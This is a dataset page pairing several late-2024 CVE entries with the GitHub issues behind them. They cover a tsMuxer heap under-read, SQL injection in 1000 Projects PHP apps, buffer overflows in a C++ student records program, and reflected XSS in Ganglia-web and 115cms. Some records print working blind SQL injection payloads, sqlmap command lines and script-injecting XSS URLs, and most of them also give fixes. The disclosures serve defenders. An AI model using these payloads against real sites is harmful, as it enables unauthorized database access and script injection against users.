Eathus/github-issues-references-max · Datasets at Hugging Face

CVE-2024-52613

2024-11-14T23:15:05.967

A heap-based buffer under-read in tsMuxer version nightly-2024-05-12-02-01-18 allows attackers to cause Denial of Service (DoS) via a crafted MOV video file.

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/justdan96/tsMuxer/issues/881" } ]

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[ "125" ]

125

https://github.com/justdan96/tsMuxer/issues/881

[ "Exploit", "Issue Tracking" ]

github.com

[ "justdan96", "tsMuxer" ]

We found heap buffer under-read in movDemuxer.cpp in the current master([cb04552](https://github.com/justdan96/tsMuxer/commit/cb0455259bb9182fba466a4905b840fed3a72646)). This vulnerability was discovered during the analysis of a fuzzing crash caused by a different root cause. PoC is here. 15-b.mov is in [vuln-b.zip](https://github.com/user-attachments/files/15585423/vuln-b.zip) Following is an output of ASAN. ```bash $ ./tsMuxeR ./15-b.mov tsMuxeR version git-cb04552. github.com/justdan96/tsMuxer AddressSanitizer:DEADLYSIGNAL ================================================================= ==72343==ERROR: AddressSanitizer: SEGV on unknown address 0x618ffff966b8 (pc 0x5591c81ed20b bp 0x7ffdd7756d70 sp 0x7ffdd7756ca0 T0) ==72343==The signal is caused by a READ memory access. #0 0x5591c81ed20b in MovDemuxer::mov_read_trun(MovDemuxer::MOVAtom) (/home/vagrant/resear/tsMuxer/tsMuxeR+0x43320b) #1 0x5591c81eb6e1 in MovDemuxer::ParseTableEntry(MovDemuxer::MOVAtom) (/home/vagrant/resear/tsMuxer/tsMuxeR+0x4316e1) #2 0x5591c81ebdc1 in MovDemuxer::mov_read_default(MovDemuxer::MOVAtom) (/home/vagrant/resear/tsMuxer/tsMuxeR+0x431dc1) #3 0x5591c81efb0f in MovDemuxer::mov_read_moov(MovDemuxer::MOVAtom) (/home/vagrant/resear/tsMuxer/tsMuxeR+0x435b0f) #4 0x5591c81eb500 in MovDemuxer::ParseTableEntry(MovDemuxer::MOVAtom) (/home/vagrant/resear/tsMuxer/tsMuxeR+0x431500) #5 0x5591c81ebdc1 in MovDemuxer::mov_read_default(MovDemuxer::MOVAtom) (/home/vagrant/resear/tsMuxer/tsMuxeR+0x431dc1) #6 0x5591c81e8551 in MovDemuxer::readHeaders() (/home/vagrant/resear/tsMuxer/tsMuxeR+0x42e551) #7 0x5591c81e76b6 in MovDemuxer::openFile(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (/home/vagrant/resear/tsMuxer/tsMuxeR+0x42d6b6) #8 0x5591c817e889 in METADemuxer::DetectStreamReader(BufferedReaderManager const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, bool) (/home/vagrant/resear/tsMuxer/tsMuxeR+0x3c4889) #9 0x5591c8126b22 in detectStreamReader(char const*, MPLSParser*, bool) (/home/vagrant/resear/tsMuxer/tsMuxeR+0x36cb22) #10 0x5591c812e318 in main (/home/vagrant/resear/tsMuxer/tsMuxeR+0x374318) #11 0x7f6423270d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #12 0x7f6423270e3f in __libc_start_main_impl ../csu/libc-start.c:392 #13 0x5591c803a0f4 in _start (/home/vagrant/resear/tsMuxer/tsMuxeR+0x2800f4) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/vagrant/resear/tsMuxer/tsMuxeR+0x43320b) in MovDemuxer::mov_read_trun(MovDemuxer::MOVAtom) ==72343==ABORTING ``` It is caused by this line There is no check for negative `track_id` values, so it is possible to read in the negative direction of the `tracks` array https://github.com/justdan96/tsMuxer/blob/cb0455259bb9182fba466a4905b840fed3a72646/tsMuxer/movDemuxer.cpp#L1075 https://github.com/justdan96/tsMuxer/blob/cb0455259bb9182fba466a4905b840fed3a72646/tsMuxer/movDemuxer.cpp#L1156 Ricerca Security, Inc.

heap buffer under-read is found in movDemuxer.cpp

https://api.github.com/repos/justdan96/tsMuxer/issues/881/comments

0

2024-06-05T10:48:37Z

2024-11-15T20:48:16Z

https://github.com/justdan96/tsMuxer/issues/881

2,335,562,970

881

6,399

CVE-2024-11256

2024-11-15T20:15:17.957

A vulnerability was found in 1000 Projects Portfolio Management System MCA 1.0 and classified as critical. This issue affects some unknown processing of the file /login.php. The manipulation of the argument username leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/Hacker0xone/CVE/issues/8

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hacker0xone", "CVE" ]

# 100projects Portfolio Management System MCA Project using PHP and MySQL V1.0 /login.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Portfolio Management System MCA Project using PHP and MySQL ## Vendor Homepage + https://1000projects.org/portfolio-management-system-mca-project-using-php-and-mysql.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + sqlmap961 ## Vulnerable File + /login.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2022/11/Portfolio-MP.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the '/login.php' file of the 'Portfolio Management System MCA Project using PHP and MySQL' project. The reason for this issue is that attackers inject malicious code from the parameter 'username' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Portfolio Management System MCA Project using PHP and MySQL", sqlmap961 discovered a critical SQL injection vulnerability in the "/login.php" file. This vulnerability stems from insufficient user input validation of the 'username' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: + 'username' parameter ## Payload: ```makefile Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: username=-4991' OR 3193=3193-- gmZn&password=123123&submit=Sign In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=12@qq.com' AND (SELECT 9829 FROM (SELECT(SLEEP(5)))ILiv)-- LTDL&password=123123&submit=Sign In ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.211.55.6:1114/login.php" --data="username=12%40qq.com&password=123123&submit=Sign+In" --cookie="PHPSESSID=590ushp8n3aqabqpe4p1cpmeov" --batch --level=5 --risk=3 --random-agent --dbms=mysql --dbs ``` + <img width="570" alt="image" src="https://github.com/user-attachments/assets/d2cf08e1-d27c-41d5-a0d2-79eba3c1545b"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

100projects Portfolio Management System MCA Project using PHP and MySQL V1.0 /login.php SQL injection

https://api.github.com/repos/Hacker0xOne/CVE/issues/8/comments

0

2024-11-13T15:28:48Z

https://github.com/Hacker0xOne/CVE/issues/8

2,655,878,252

8

6,400

CVE-2024-11257

2024-11-15T20:15:18.253

A vulnerability classified as critical has been found in 1000 Projects Beauty Parlour Management System 1.0. This affects an unknown part of the file /admin/forgot-password.php. The manipulation of the argument email leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://1000projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Hacker0xone/CVE/issues/10" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.284715" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.284715" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.443385" } ]

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[ "89" ]

89

https://github.com/Hacker0xone/CVE/issues/10

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hacker0xone", "CVE" ]

# 1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/forgot-password.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Beauty Parlour Management System PHP SQLite Project ## Vendor Homepage + https://1000projects.org/beauty-parlour-management-system-php-sqlite-project.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + Hacker0xOne ## Vulnerable File + admin/forgot-password.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2023/01/Beauty-Parlour-Management-System.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'admin/forgot-password.php' file of the 'Beauty Parlour Management System PHP SQLite Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'email' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Beauty Parlour Management System PHP SQLite Project", Hacker0xOne discovered a critical SQL injection vulnerability in the "admin/forgot-password.php" file. This vulnerability stems from insufficient user input validation of the 'email' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: + boolean-based blind + time-based blind ## Vulnerability lonameion: + 'email' parameter ## Payload: ```makefile Parameter: email (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: email=-7807' OR 5969=5969-- pgJm&contactno=1222222222&submit=Reset Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: email=12@qq.com' AND (SELECT 7174 FROM (SELECT(SLEEP(5)))umTD)-- VVwC&contactno=1222222222&submit=Reset ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.211.55.6:1112/admin/forgot-password.php" --cookie="PHPSESSID=hmbfn5n9cu9uiq2n60sohgnito" --data="email=12%40qq.com&contactno=1222222222&submit=Reset" --batch --dbms=mysql --level=5 --risk=3 --dbs --random-agent ``` + <img width="571" alt="image" src="https://github.com/user-attachments/assets/e5a26390-9f7d-4b52-a4ed-1d5a2e821842"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/forgot-password.php SQL injection

https://api.github.com/repos/Hacker0xOne/CVE/issues/10/comments

0

2024-11-13T15:44:08Z

2024-11-13T15:44:10Z

https://github.com/Hacker0xOne/CVE/issues/10

2,655,936,915

10

6,401

CVE-2024-11258

2024-11-15T20:15:18.523

A vulnerability classified as critical was found in 1000 Projects Beauty Parlour Management System 1.0. This vulnerability affects unknown code of the file /admin/index.php. The manipulation of the argument username leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/Hacker0xone/CVE/issues/11

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hacker0xone", "CVE" ]

# 100projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/index.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Beauty Parlour Management System PHP SQLite Project ## Vendor Homepage + https://1000projects.org/beauty-parlour-management-system-php-sqlite-project.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + Hacker0xOne ## Vulnerable File + admin/index.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2023/01/Beauty-Parlour-Management-System.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'admin/index.php' file of the 'Beauty Parlour Management System PHP SQLite Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'username' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Beauty Parlour Management System PHP SQLite Project", Hacker0xOne discovered a critical SQL injection vulnerability in the "admin/index.php" file. This vulnerability stems from insufficient user input validation of the 'username' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: + boolean-based blind + time-based blind ## Vulnerability lonameion: + 'username' parameter ## Payload: ```makefile Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: username=-1317' OR 8842=8842-- pZOW&password=11111&login=Sign In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=11111' AND (SELECT 1500 FROM (SELECT(SLEEP(5)))GXdH)-- KcWE&password=11111&login=Sign In ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.211.55.6:1112/admin/index.php" --cookie="PHPSESSID=hmbfn5n9cu9uiq2n60sohgnito" --data="username=11111&password=11111&login=Sign+In" --batch --dbms=mysql --level=5 --risk=3 --dbs --random-agent ``` + <img width="576" alt="image" src="https://github.com/user-attachments/assets/5c1895db-2e49-4603-a8eb-eba958c0c53e"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

100projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/index.php SQL injection

https://api.github.com/repos/Hacker0xOne/CVE/issues/11/comments

0

2024-11-13T15:46:44Z

https://github.com/Hacker0xOne/CVE/issues/11

2,655,946,469

11

6,402

CVE-2024-11261

2024-11-15T22:15:14.970

A vulnerability, which was classified as critical, was found in SourceCodester Student Record Management System 1.0. Affected is an unknown function of the file StudentRecordManagementSystem.cpp of the component Number of Students Menu. The manipulation leads to memory corruption. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used.

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[ "119" ]

119

https://github.com/Hacker0xone/CVE/issues/12

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "Hacker0xone", "CVE" ]

# **SourceCodester Student Record Management System in C++ with Source Code V1.0 - Input Validation Vulnerability** ## **Vulnerability Name** + **Input Validation Vulnerability** ## **Vulnerability Description** In the Student Record Management System program, improper input validation allows for unexpected behavior when entering non-integer characters for expected integer inputs. For instance, when the program prompts the user for an integer n and the input contains mixed characters (e.g., 1qwe), the program reads the integer portion (1) and leaves the remaining characters (qwe) in the input buffer. These residual characters are then read during the subsequent input operation, resulting in unexpected program behavior and potentially affecting data integrity. ## **Vulnerability Root Cause** Due to improper input buffer handling and lack of strict input validation, the program may experience several impacts: 1、**Data Integrity Issues:** Characters left in the input buffer interfere with future input operations, leading to inaccurate data entry and logical errors. 2、**Potential for Unexpected Program Behavior:** Inconsistent input formats can lead to non-deterministic logic execution, affecting application stability. 3、**Increased Risk of Logical Vulnerability Exploitation:** This vulnerability could be leveraged by an attacker to alter the application’s expected behavior, potentially leading to denial of service or incorrect data processing. --- ## **Steps to Reproduce** 1.Compile and execute the **Student Record Management System** program. ```linux g++ -g -O0 StudentRecordManagementSystem.cpp -o StudentRecordManagementSystem lldb ./StudentRecordManagementSystem breakpoint set --file StudentRecordManagementSystem.cpp --line 41 run ``` + <img width="783" alt="image" src="https://github.com/user-attachments/assets/cb75af29-86bb-4d4c-a997-6e45e0e543f0"> 2.Check the storage content and memory address of n and data in advance, and start checking the 32 byte memory content from the memory address of these two variables. + <img width="640" alt="image-1" src="https://github.com/user-attachments/assets/a8f328d9-7da0-4b82-a79d-dd406b1f738e"> 3.When prompted to enter the number of students, input a mixed character string such as 1qwe.View the memory contents of n and data. + <img width="741" alt="image-2" src="https://github.com/user-attachments/assets/291adec6-689d-4626-9fbd-c505d5bb9bc4"> 4.The command cin >> n; reads the integer portion 1 and assigns it to n. + <img width="605" alt="image-3" src="https://github.com/user-attachments/assets/40fb1cc9-18c1-4fae-8d12-2f8532736bd6"> 5.Remaining characters (qwe) stay in the input buffer and interfere with the next input operation, causing unintentional behavior.Skip the input of data and directly read 'qwe' into the data. + !<img width="1110" alt="image-4" src="https://github.com/user-attachments/assets/039675df-5c9b-4ddc-9f99-14b13cdbde5e"> --- ## **Code Example** The affected code is located at line 41 in Student Record Management System.cpp: ```bash cout << "\n\t\t\tEnter the number of students: "; cin >> n; ``` Since the input buffer is not cleared, residual characters in the buffer remain, causing unexpected results in the next input operation. ## **Suggested Fix** To prevent residual characters from interfering with further inputs, clear the input buffer after reading. This can be done with the following code: ```bash cin.clear(); // Clear any error state on cin cin.ignore(numeric_limits<streamsize>::max(), '\n'); // Discard remaining characters in the buffer ``` The complete fix: ```bash cout << "\n\t\t\tEnter the number of students: "; cin >> n; if (cin.fail()) { cout << "\n\t\t\tInvalid input! Please enter an integer.\n"; cin.clear(); cin.ignore(numeric_limits<streamsize>::max(), '\n'); } ``` ## **References** + **Source Code Link**: [Student Record Management System - Source Code](https://www.sourcecodester.com/cc/16827/student-record-management-system-c-source-code.html) + **Project Download Link**: [Download Student Record Management System Project](https://www.sourcecodester.com/sites/default/files/download/razormist/Student%20Record%20Management%20System%20in%20C%2B%2B.zip) These links are provided for reference and verification purposes. ## **Submitted by** Hacker0xOne - [@Hacker0xone](https://github.com/Hacker0xone/)

SourceCodester Student Record Management System in C++ with Source Code V1.0 - Input Validation Vulnerability

https://api.github.com/repos/Hacker0xOne/CVE/issues/12/comments

0

2024-11-14T01:43:13Z

2024-11-14T08:34:54Z

https://github.com/Hacker0xOne/CVE/issues/12

2,657,271,678

12

6,403

CVE-2024-11262

2024-11-15T23:15:10.270

A vulnerability has been found in SourceCodester Student Record Management System 1.0 and classified as critical. Affected by this vulnerability is the function main of the component View All Student Marks. The manipulation leads to stack-based buffer overflow. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.

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[ "787" ]

787

https://github.com/Hacker0xone/CVE/issues/13

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hacker0xone", "CVE" ]

# **Student Record Management System in C++ with Source Code V1.0 - Stack-based Buffer Overflow Vulnerabilities** **Project Name:** Student Record Management System in C++ **Vulnerability Name:** Stack-based Buffer Overflow Vulnerabilities **Vulnerability Type:** Buffer Overflow **Severity Level:** High **Source Code Link**: [Student Record Management System - Source Code](https://www.sourcecodester.com/cc/16827/student-record-management-system-c-source-code.html) **Project Download Link**: [Download Student Record Management System Project](https://www.sourcecodester.com/sites/default/files/download/razormist/Student%20Record%20Management%20System%20in%20C%2B%2B.zip) **Submitted By:** Hacker0xOne ## **1. Vulnerability Description** The **Student Record Management System** project contains multiple **stack-based buffer overflow vulnerabilities**. In the main function, several features (such as “Add New Students” and “View All Student Marks”) use fixed-size char arrays (e.g., data[15] and data[20]) to store user input and file contents but lack length checks. If the input or read data exceeds the array limits, a buffer overflow can occur, causing memory corruption or illegal memory access. ## **2. Vulnerability Location** + **Location 1:** main function in the “Add New Students” feature, when assigning data to data[15] without length checks. + **Location 2**: main function in the “View All Student Marks” feature, during multiple assignments and file reads to data[20], which lacks length checks. ## **3. Steps to Reproduce** 1.Compile and debug the Student Record Management System program using the lldb tool. + <img width="554" alt="image" src="https://github.com/user-attachments/assets/e0207988-6136-416f-a4aa-14a9542836ec"> 2.Arriving at the register number input port, input characters far exceeding its own limit, observe its memory content and the memory content from this variable onwards, and check for any abnormalities + <img width="1133" alt="image-1" src="https://github.com/user-attachments/assets/c530bc0e-7e51-48ec-a61e-f6a5ba59e84a"> 3.Continuing debugging, no obvious abnormalities were found in the program. + <img width="1123" alt="image-2" src="https://github.com/user-attachments/assets/6e1cd07c-7960-41bb-902c-783aac672f55"> 4.Continue debugging, return the program to the main menu, select the fourth option to view all student records. + <img width="1144" alt="image-3" src="https://github.com/user-attachments/assets/f2dc6ac0-3c07-4ab6-8fa2-44434da4acd6"> 5.After verifying the password is correct, the program starts reading the file. When reading the contents of the student_decord. txt file, the program uses char data [20]; Buffer, not checking the length of each field read from the file. If the field exceeds 20 bytes, the data will exceed the data buffer and be written to adjacent memory. This can disrupt the stack structure or other critical data, leading to memory access errors (EXC_SAD-ACCESS) or potential security risks. + <img width="1139" alt="image-4" src="https://github.com/user-attachments/assets/e74aa590-cba2-4e39-bbd4-e696e36d400a"> + <img width="1143" alt="image-5" src="https://github.com/user-attachments/assets/2f3de0d7-9a28-474e-bb38-d5612b9fe28c"> + <img width="1129" alt="image-6" src="https://github.com/user-attachments/assets/7829b2c9-b801-4749-8117-4636a676506b"> 6.Function 4 malfunction, using Function 4 will directly cause the program to crash and jump out of the program. + <img width="1091" alt="image-7" src="https://github.com/user-attachments/assets/b0958656-036b-4cd5-aa14-a0e73d61eb5a"> ## **4. Vulnerability Analysis** This program contains multiple features that do not constrain the length of inputs from cin or ifstream. Key overflow points include: 1.**“Add New Students” feature:** Data is assigned to data[15] without length checks during cin >> data for both registration number and name. If input exceeds 15 characters, data will overflow the buffer, potentially corrupting adjacent memory. 2.**“View All Student Marks” feature:** The data[20] buffer is repeatedly filled by looping through data reads without length checks. If a file entry exceeds 20 characters, it writes past the buffer, leading to memory access errors. 3.**“Update Student Marks” feature:** Several file write operations directly manipulate offsets without ensuring fixed data lengths. If file contents exceed expected lengths, writing could occur at unintended positions, causing data corruption. ## **5. Impact of Vulnerability** 1.Program Crash: Inputting or reading oversized data can lead to buffer overflow, causing memory access errors and program crashes. 2.Potential Arbitrary Code Execution: An attacker could use carefully crafted inputs to overwrite control flow data on the stack, possibly leading to code execution. 3.Data Corruption: Buffer overflow could corrupt adjacent memory locations, leading to unpredictable data or system instability. ## **5.Exploitation** An attacker could exploit this vulnerability by entering malicious inputs or modifying the student_record.txt file with data exceeding the buffer limits. During data processing, this buffer overflow could overwrite the stack’s return addresses or control flow information, potentially allowing code injection or denial of service. ## 6.**Remediation Suggestions** 1.**Use** std::string **Instead** of char **Arrays**: std::string manages buffer sizes automatically, reducing overflow risk. Example: ```cpp string data; cin >> data; ``` 2.**Add Length Limits:** Use getline() with size limits for cin and ifstream to ensure data doesn’t exceed buffer sizes. Example: ```cpp char data[20]; infile.getline(data, sizeof(data)); ``` 3.**Ensure File Read Safety:** Add boundary checks when reading from files to verify that each field length is within the buffer limit. 4.**Limit Input Length:** For registration number and name input, restrict character input length to prevent oversized data: ```cpp char data[15]; cin.width(15); cin >> data; ``` ## 7.**Sample Remediation Code** Update sections of the code to ensure input constraints, preventing overflow: ````cpp if (option == 1) { cout << "\n\t\t\tEnter your registration number: "; cin.width(15); cin >> data; // Limit input length outfile << data << "\t"; cout << "\n\t\t\tEnter name: "; cin.width(15); // Also limit name length cin >> data; outfile << data << "\t"; } else if (option == 4) { cout << "\n\t\t\tEnter the admin password: "; char password[25]; cin.width(25); // Limit input length cin >> password; if (strcmp(password, "admin") == 0) { cout << "\n\t\t\tReg No. \tName \tCSE101 \tCSE102" << endl; ifstream infile("student_record.txt"); char data[20]; while (infile >> data) { cout << "\t\t\t" << data << "\t"; infile >> data; cout << data << "\t"; infile >> data; cout << data << "\t"; infile >> data; cout << data << "\t\n\n"; } } } ```` ## **8.Summary** Implementing these fixes will mitigate the buffer overflow vulnerabilities, improving both stability and security of the application.

Student Record Management System in C++ with Source Code V1.0 - Stack-based Buffer Overflow Vulnerabilities

https://api.github.com/repos/Hacker0xOne/CVE/issues/13/comments

0

2024-11-14T08:37:09Z

2024-11-14T08:39:40Z

https://github.com/Hacker0xOne/CVE/issues/13

2,658,025,307

13

6,404

CVE-2024-52762

2024-11-19T21:15:06.580

A cross-site scripting (XSS) vulnerability in the component /master/header.php of Ganglia-web v3.73 to v3.76 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "tz" parameter.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ganglia/ganglia-web/issues/382" } ]

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[ "79" ]

79

https://github.com/ganglia/ganglia-web/issues/382

[ "Exploit", "Issue Tracking" ]

github.com

[ "ganglia", "ganglia-web" ]

The first XSS release: 3.73<=Ganglia-web<3.75 Vulnerability cause: https://github.com/ganglia/ganglia-web/blob/3.7.3/graph_all_periods.php The parameters passed in are not restricted, and the trigger point is the parameter g. <img width="979" alt="Snipaste_2024-11-07_21-11-39" src="https://github.com/user-attachments/assets/25a6c391-91d7-48c2-a7ed-1a09e27564a3"> Vulnerability poc: http://xxxxxx/ganglia//graph_all_periods.php?g=%22%22%20autofocus%20onfocus=alert(1)//%22 The second XSS release: 3.73<=Ganglia-web<=3.76 Vulnerability cause: https://github.com/ganglia/ganglia-web/blob/master/header.php The parameters passed in are not restricted, and the trigger point is the parameter tz. <img width="931" alt="Snipaste_2024-11-07_21-14-31" src="https://github.com/user-attachments/assets/592f331d-7a37-47db-a6fb-079bed6e2efc"> Vulnerability poc: http://xxxx/ganglia/?tz=%22%3E%3Cscript%3Ealert(1)%3C/script%3E http://xxxx/?tz=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

There are two xss in different version ranges

https://api.github.com/repos/ganglia/ganglia-web/issues/382/comments

0

2024-11-07T13:15:32Z

https://github.com/ganglia/ganglia-web/issues/382

2,641,005,144

382

6,405

CVE-2024-11488

2024-11-20T17:15:14.097

A vulnerability was found in 115cms up to 20240807 and classified as problematic. This issue affects some unknown processing of the file /app/admin/view/web_user.html. The manipulation of the argument ks leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

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[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Hebing123/cve/issues/70" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?ctiid.285503" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?id.285503" } ]

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[ "79" ]

79

https://github.com/Hebing123/cve/issues/70

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "Hebing123", "cve" ]

# Summary 115cms v8 version 20240807 is affected by multiple reflected Cross-Site Scripting (XSS) vulnerabilities. These vulnerabilities occur due to insufficient input validation and sanitation, allowing attackers to inject malicious scripts into web pages that are then executed in the browsers of other users. https://www.115cms.com/ # Details This is the affected template file: ``` /app/admin/view/web_user.html /app/admin/view/web_file.html /app/admin/view/web_set.html /app/admin/view/web_useradmin.html /app/admin/view/web_appurladd.html /app/setpage/view/admin/pageAE.html ``` The vulnerabilities exist due to the improper handling of the ks and tid parameters. These parameters are directly concatenated into the HTML output without proper sanitization, allowing an attacker to inject arbitrary JavaScript code. # POC For each of the identified endpoints, an attacker can exploit the vulnerability by injecting a malicious script via the respective parameter. Below are the URLs with crafted payloads that demonstrate the reflected XSS: `http://target-ip/index.php/admin/web/user.html?ks=%22%3E%3Cscript%3Ealert(1)%3C/script%3E` `http://target-ip/index.php/admin/web/file.html?ks=%22%3E%3Cscript%3Ealert(1)%3C/script%3E` `http://target-ip/index.php/admin/web/set.html?type=%22%3E%3Cscript%3Ealert(1)%3C/script%3E` 